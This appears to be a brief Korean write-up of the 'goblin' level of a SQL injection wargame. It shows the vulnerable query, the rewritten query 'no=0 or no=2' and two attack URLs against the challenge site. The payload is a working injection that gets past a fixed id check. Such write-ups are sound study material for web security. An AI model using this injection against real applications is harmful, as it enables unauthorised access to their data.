Problem#

Solve#

  • 기존 구문 → GET 방식, id = guest 고정

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select id from prob_goblin where id='guest' and no={$_GET[no]}

  • 변경 구문

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select id from prob_goblin where id='guest' and no=0 or no=2

  • 공격 구문

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https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0 or no=1
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https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0 or no=2